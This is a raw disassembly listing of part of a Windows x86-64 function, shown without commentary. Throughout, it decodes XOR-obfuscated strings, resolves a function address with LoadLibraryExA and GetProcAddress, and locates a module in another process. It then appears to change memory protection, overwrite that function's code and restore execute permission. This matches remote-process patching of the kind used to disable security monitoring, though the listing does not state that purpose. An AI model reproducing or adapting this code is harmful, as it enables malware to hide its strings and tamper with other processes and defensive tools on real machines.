xor ecx, eax
mov rdx, qword [rbp + 0x5140]
mov eax, dword [rbp + 0x5134]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5134], 1
cmp dword [rbp + 0x5134], 0xb
jle 0x14000999d
nop
lea rax, [rbp + 0x2304]
mov r8d, 1
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
call rax
mov qword [rbp + 0x5280], rax
lea rax, [rbp + 0x22f0]
mov qword [rbp + 0x5128], rax
mov rax, qword [rbp + 0x5128]
mov qword [rbp + 0x5120], rax
mov rax, qword [rbp + 0x5120]
movzx eax, byte [rax + 0xf]
test al, al
setne al
test al, al
je 0x140009af0
mov rax, qword [rbp + 0x5128]
mov rdx, qword [rbp + 0x5128]
mov qword [rbp + 0x5118], rdx
mov qword [rbp + 0x5110], rax
mov dword [rbp + 0x510c], 0
jmp 0x140009ae6
mov eax, dword [rbp + 0x510c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5110]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x510c]
movsxd rdx, eax
imul rdx, rdx, 0x5397829d
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x31
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x33
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5118]
mov eax, dword [rbp + 0x510c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x510c], 1
cmp dword [rbp + 0x510c], 0xf
jle 0x140009a87
nop
lea rdx, [rbp + 0x22f0]
mov rax, qword [rbp + 0x5280]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5278], rax
lea rax, [rbp + 0x2202]
lea rdx, [rbp + 0x4fd7]
mov rcx, rax
call fcn.14000396a
lea rax, [rbp + 0x2202]
mov qword [rbp + 0x5100], rax
mov rax, qword [rbp + 0x5100]
movzx eax, byte [rax + 0xd]
test al, al
setne al
test al, al
je 0x140009bde
lea rax, [rbp + 0x2202]
lea rdx, [rbp + 0x2202]
mov qword [rbp + 0x50f8], rdx
mov qword [rbp + 0x50f0], rax
mov dword [rbp + 0x50ec], 0
jmp 0x140009bd4
mov eax, dword [rbp + 0x50ec]
movsxd rdx, eax
mov rax, qword [rbp + 0x50f0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x50ec]
movsxd rdx, eax
imul rdx, rdx, 0x5397829d
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x31
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x33
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x50f8]
mov eax, dword [rbp + 0x50ec]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x50ec], 1
cmp dword [rbp + 0x50ec], 0xd
jle 0x140009b75
nop
lea rax, [rbp + 0x2202]
mov rdx, qword [rbp + 0x5278]
mov r8, rdx
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x50e8], 0
jmp 0x140009c24
mov eax, dword [rbp + 0x50e8]
cdqe
mov byte [rbp + rax + 0x2202], 0
add dword [rbp + 0x50e8], 1
cmp dword [rbp + 0x50e8], 0xd
jle 0x140009c0d
nop
mov rax, qword [rbp + 0x5278]
mov qword [rbp + 0x5270], rax
mov rdx, qword [rbp + 0x5270]
mov rax, qword [rbp + 0x5280]
sub rdx, rax
mov dword [rbp + 0x526c], edx
lea rax, [rbp + 0x21f5]
lea rdx, [rbp + 0x4fd8]
mov rcx, rax
call fcn.1400039ec
lea rax, [rbp + 0x21f5]
mov qword [rbp + 0x50e0], rax
mov rax, qword [rbp + 0x50e0]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x140009d20
lea rax, [rbp + 0x21f5]
lea rdx, [rbp + 0x21f5]
mov qword [rbp + 0x50d8], rdx
mov qword [rbp + 0x50d0], rax
mov dword [rbp + 0x50cc], 0
jmp 0x140009d16
mov eax, dword [rbp + 0x50cc]
movsxd rdx, eax
mov rax, qword [rbp + 0x50d0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x50cc]
movsxd rdx, eax
imul rdx, rdx, 0x5397829d
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x31
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x33
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x50d8]
mov eax, dword [rbp + 0x50cc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x50cc], 1
cmp dword [rbp + 0x50cc], 0xc
jle 0x140009cb7
nop
lea rax, [rbp + 0x21f5]
mov edx, dword [rbp + 0x526c]
mov r8d, edx
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x50c8], 0
jmp 0x140009d65
mov eax, dword [rbp + 0x50c8]
cdqe
mov byte [rbp + rax + 0x21f5], 0
add dword [rbp + 0x50c8], 1
cmp dword [rbp + 0x50c8], 0xc
jle 0x140009d4e
nop
mov rax, qword [rbp + 0x2358]
lea rcx, [rbp + 0x1ec]
lea rdx, [rbp + 0x1f0]
mov r9, rcx
mov r8d, 0x2000
mov rcx, rax
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
setne al
test al, al
je 0x14000a0a3
mov dword [rbp + 0x538c], 0
jmp 0x14000a085
mov eax, dword [rbp + 0x538c]
cdqe
mov rdx, qword [rbp + rax*8 + 0x1f0]
mov rax, qword [rbp + 0x2358]
lea rcx, [rbp - 0x10]
mov r9d, 0x104
mov r8, rcx
mov rcx, rax
call sub.PSAPI.DLL_GetModuleFileNameExA
test eax, eax
setne al
test al, al
je 0x14000a07e
lea rax, [rbp + 0x4fd9]
mov rcx, rax
call fcn.140073570
lea rcx, [rbp + 0x4fd9]
lea rdx, [rbp - 0x10]
lea rax, [rbp - 0x30]
mov r8, rcx
mov rcx, rax
call fcn.1400aaed0
lea rax, [rbp + 0x4fd9]
mov rcx, rax
call fcn.1400735a0
lea rax, [rbp + 0x2304]
mov qword [rbp + 0x50c0], rax
mov rax, qword [rbp + 0x50c0]
mov qword [rbp + 0x50b8], rax
mov rax, qword [rbp + 0x50b8]
movzx eax, byte [rax + 0xb]
test al, al
setne al
test al, al
je 0x140009ee7
mov rax, qword [rbp + 0x50c0]
mov rdx, qword [rbp + 0x50c0]
mov qword [rbp + 0x50b0], rdx
mov qword [rbp + 0x50a8], rax
mov dword [rbp + 0x50a4], 0
jmp 0x140009edd
mov eax, dword [rbp + 0x50a4]
movsxd rdx, eax
mov rax, qword [rbp + 0x50a8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x50a4]
movsxd rdx, eax
imul rdx, rdx, 0x5397829d
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x31
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x33
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x50b0]
mov eax, dword [rbp + 0x50a4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x50a4], 1
cmp dword [rbp + 0x50a4], 0xb
jle 0x140009e7e
nop
lea rdx, [rbp + 0x2304]
lea rax, [rbp - 0x30]
mov r8d, 0
mov rcx, rax
call fcn.140030be0
cmp rax, 0xffffffffffffffff
setne al
test al, al
je 0x14000a072
mov eax, dword [rbp + 0x538c]
cdqe
mov rdx, qword [rbp + rax*8 + 0x1f0]
lea rax, [rbp - 0x10]
mov r8, rdx
mov rdx, rax
lea rax, str._t_s__0x_08X__n
mov rcx, rax
call fcn.140001450
mov eax, dword [rbp + 0x538c]
cdqe
mov rax, qword [rbp + rax*8 + 0x1f0]
mov qword [rbp + 0x5390], rax
lea rax, [rbp + 0xf6]
lea rdx, [rbp + 0x4fda]
mov rcx, rax
call fcn.140003a66
mov eax, dword [rbp + 0x538c]
cdqe
mov r8, qword [rbp + rax*8 + 0x1f0]
lea rax, [rbp + 0xf6]
mov qword [rbp + 0x5098], rax
mov rax, qword [rbp + 0x5098]
movzx eax, byte [rax + 0xa]
test al, al
setne al
test al, al
je 0x14000a02c
lea rax, [rbp + 0xf6]
lea rdx, [rbp + 0xf6]
mov qword [rbp + 0x5090], rdx
mov qword [rbp + 0x5088], rax
mov dword [rbp + 0x5084], 0
jmp 0x14000a022
mov eax, dword [rbp + 0x5084]
movsxd rdx, eax
mov rax, qword [rbp + 0x5088]
add rax, rdx
movzx r9d, byte [rax]
mov eax, dword [rbp + 0x5084]
movsxd rdx, eax
imul rdx, rdx, 0x5397829d
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x31
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x33
mov ecx, r9d
xor ecx, eax
mov rdx, qword [rbp + 0x5090]
mov eax, dword [rbp + 0x5084]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5084], 1
cmp dword [rbp + 0x5084], 0xa
jle 0x140009fc3
nop
lea rax, [rbp + 0xf6]
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x5080], 0
jmp 0x14000a068
mov eax, dword [rbp + 0x5080]
cdqe
mov byte [rbp + rax + 0xf6], 0
add dword [rbp + 0x5080], 1
cmp dword [rbp + 0x5080], 0xa
jle 0x14000a051
nop
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.1400ab5f0
add dword [rbp + 0x538c], 1
mov eax, dword [rbp + 0x538c]
movsxd rdx, eax
mov eax, dword [rbp + 0x1ec]
mov eax, eax
shr rax, 3
cmp rdx, rax
jb 0x140009db1
mov eax, dword [rbp + 0x526c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5390]
add rax, rdx
mov qword [rbp + 0x1e0], rax
lea rax, [rbp + 0x1c0]
lea rdx, [rbp + 0x4fdb]
mov rcx, rax
call fcn.140003ad0
mov r8, qword [rbp + 0x1e0]
lea rax, [rbp + 0x1c0]
mov qword [rbp + 0x5078], rax
mov rax, qword [rbp + 0x5078]
movzx eax, byte [rax + 0x13]
test al, al
setne al
test al, al
je 0x14000a191
lea rax, [rbp + 0x1c0]
lea rdx, [rbp + 0x1c0]
mov qword [rbp + 0x5070], rdx
mov qword [rbp + 0x5068], rax
mov dword [rbp + 0x5064], 0
jmp 0x14000a187
mov eax, dword [rbp + 0x5064]
movsxd rdx, eax
mov rax, qword [rbp + 0x5068]
add rax, rdx
movzx r9d, byte [rax]
mov eax, dword [rbp + 0x5064]
movsxd rdx, eax
imul rdx, rdx, 0x5397829d
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x31
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x33
mov ecx, r9d
xor ecx, eax
mov rdx, qword [rbp + 0x5070]
mov eax, dword [rbp + 0x5064]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5064], 1
cmp dword [rbp + 0x5064], 0x13
jle 0x14000a128
nop
lea rax, [rbp + 0x1c0]
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x5060], 0
jmp 0x14000a1cd
mov eax, dword [rbp + 0x5060]
cdqe
mov byte [rbp + rax + 0x1c0], 0
add dword [rbp + 0x5060], 1
cmp dword [rbp + 0x5060], 0x13
jle 0x14000a1b6
nop
mov rax, qword [rbp + 0x1e0]
and eax, 0xfff
mov qword [rbp + 0x5260], rax
lea rax, [rbp + 0x1b3]
lea rdx, [rbp + 0x4fdc]
mov rcx, rax
call fcn.140003b82
lea rax, [rbp + 0x1b3]
mov qword [rbp + 0x5058], rax
mov rax, qword [rbp + 0x5058]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x14000a2b7
lea rax, [rbp + 0x1b3]
lea rdx, [rbp + 0x1b3]
mov qword [rbp + 0x5050], rdx
mov qword [rbp + 0x5048], rax
mov dword [rbp + 0x5044], 0
jmp 0x14000a2ad
mov eax, dword [rbp + 0x5044]
movsxd rdx, eax
mov rax, qword [rbp + 0x5048]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x5044]
movsxd rdx, eax
imul rdx, rdx, 0x5397829d
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x31
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x33
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5050]
mov eax, dword [rbp + 0x5044]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5044], 1
cmp dword [rbp + 0x5044], 0xc
jle 0x14000a24e
nop
lea rax, [rbp + 0x1b3]
mov rdx, qword [rbp + 0x5260]
mov r8, rdx
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x5040], 0
jmp 0x14000a2fd
mov eax, dword [rbp + 0x5040]
cdqe
mov byte [rbp + rax + 0x1b3], 0
add dword [rbp + 0x5040], 1
cmp dword [rbp + 0x5040], 0xc
jle 0x14000a2e6
nop
mov r10, qword [0x140443048]
mov rax, qword [rbp + 0x2358]
lea r8, [rbp + 0x24a0]
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x22dc]
mov qword [rsp + 0x20], rcx
mov r9d, 4
mov rcx, rax
call r10
mov dword [rbp + 0x528c], eax
lea rax, [rbp + 0x170]
lea rdx, [rbp + 0x4fdd]
mov rcx, rax
call fcn.140003bfc
lea rax, [rbp + 0x170]
mov qword [rbp + 0x5038], rax
mov rax, qword [rbp + 0x5038]
movzx eax, byte [rax + 0x2a]
test al, al
setne al
test al, al
je 0x14000a40e
lea rax, [rbp + 0x170]
lea rdx, [rbp + 0x170]
mov qword [rbp + 0x5030], rdx
mov qword [rbp + 0x5028], rax
mov dword [rbp + 0x5024], 0
jmp 0x14000a404
mov eax, dword [rbp + 0x5024]
movsxd rdx, eax
mov rax, qword [rbp + 0x5028]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x5024]
movsxd rdx, eax
imul rdx, rdx, 0x5397829d
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x31
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x33
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5030]
mov eax, dword [rbp + 0x5024]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5024], 1
cmp dword [rbp + 0x5024], 0x2a
jle 0x14000a3a5
nop
lea rax, [rbp + 0x170]
mov edx, dword [rbp + 0x528c]
mov r8d, edx
mov rdx, rax
lea rax, [0x1404170e1]
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x5020], 0
jmp 0x14000a453
mov eax, dword [rbp + 0x5020]
cdqe
mov byte [rbp + rax + 0x170], 0
add dword [rbp + 0x5020], 1
cmp dword [rbp + 0x5020], 0x2a
jle 0x14000a43c
nop
mov r10, qword [0x140443040]
mov r8, qword [rbp + 0x24a0]
mov rcx, qword [0x140443030]
mov rax, qword [rbp + 0x1e0]
mov rdx, rax
mov rax, qword [rbp + 0x5260]
add rax, rdx
mov r11, rax
mov rax, qword [rbp + 0x2358]
lea rdx, [rbp + 0x1a8]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8, rcx
mov rdx, r11
mov rcx, rax
call r10
mov dword [rbp + 0x528c], eax
lea rax, [rbp + 0x140]
lea rdx, [rbp + 0x4fde]
mov rcx, rax
call fcn.140003d66
lea rax, [rbp + 0x140]
mov qword [rbp + 0x5018], rax
mov rax, qword [rbp + 0x5018]
movzx eax, byte [rax + 0x28]
test al, al
setne al
test al, al
je 0x14000a57e
lea rax, [rbp + 0x140]
lea rdx, [rbp + 0x140]
mov qword [rbp + 0x5010], rdx
mov qword [rbp + 0x5008], rax
mov dword [rbp + 0x5004], 0
jmp 0x14000a574
mov eax, dword [rbp + 0x5004]
movsxd rdx, eax
mov rax, qword [rbp + 0x5008]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x5004]
movsxd rdx, eax
imul rdx, rdx, 0x5397829d
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x31
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x33
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x5010]
mov eax, dword [rbp + 0x5004]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5004], 1
cmp dword [rbp + 0x5004], 0x28
jle 0x14000a515
nop
lea rax, [rbp + 0x140]
mov edx, dword [rbp + 0x528c]
mov r8d, edx
mov rdx, rax
lea rax, [0x1404170e1]
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x5000], 0
jmp 0x14000a5c3
mov eax, dword [rbp + 0x5000]
cdqe
mov byte [rbp + rax + 0x140], 0
add dword [rbp + 0x5000], 1
cmp dword [rbp + 0x5000], 0x28
jle 0x14000a5ac
nop
mov r10, qword [0x140443048]
mov rax, qword [rbp + 0x2358]
lea r8, [rbp + 0x24a0]
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x22dc]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20
mov rcx, rax
call r10
mov dword [rbp + 0x528c], eax
lea rax, [rbp + 0x110]
lea rdx, [rbp + 0x4fdf]
mov rcx, rax
call fcn.140003ec0
lea rax, [rbp + 0x110]
mov qword [rbp + 0x4ff8], rax
mov rax, qword [rbp + 0x4ff8]
movzx eax, byte [rax + 0x2a]
test al, al
setne al
test al, al
je 0x14000a6d4
lea rax, [rbp + 0x110]
lea rdx, [rbp + 0x110]
mov qword [rbp + 0x4ff0], rdx
mov qword [rbp + 0x4fe8], rax
mov dword [rbp + 0x4fe4], 0
jmp 0x14000a6ca
mov eax, dword [rbp + 0x4fe4]
movsxd rdx, eax
mov rax, qword [rbp + 0x4fe8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x4fe4]
movsxd rdx, eax
imul rdx, rdx, 0x5397829d
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x31
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x33
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x4ff0]
mov eax, dword [rbp + 0x4fe4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x4fe4], 1
cmp dword [rbp + 0x4fe4], 0x2a
jle 0x14000a66b
nop
lea rax, [rbp + 0x110]
mov edx, dword [rbp + 0x528c]
mov r8d, edx
mov rdx, rax
lea rax, [0x1404170e1]
mov rcx, rax
call fcn.140001450
mov dword [rbp + 0x4fe0], 0
jmp 0x14000a719
mov eax, dword [rbp + 0x4fe0]
cdqe
mov byte [rbp + rax + 0x110], 0
add dword [rbp + 0x4fe0], 1
cmp dword [rbp + 0x4fe0], 0x2a
jle 0x14000a702
nop
mov rax, qword [rbp + 0x2358]
mov rcx, rax
call fcn.140002c01
mov rax, qword [rbp + 0x1e0]
mov rdx, rax
mov rax, qword [rbp + 0x5260]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x2358]
mov rcx, rax
call fcn.140002831
mov rdx, qword [0x140443078]
mov rax, qword [rbp + 0x2358]
mov rcx, rax
call rdx
mov ebx, 1
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.1400ab5f0
cmp ebx, 1
jne 0x14000a789
mov esi, 0
mov eax, esi
jmp 0x14000c0cf
add rsp, 0x5430
pop rbx
pop rsi
pop rbp
ret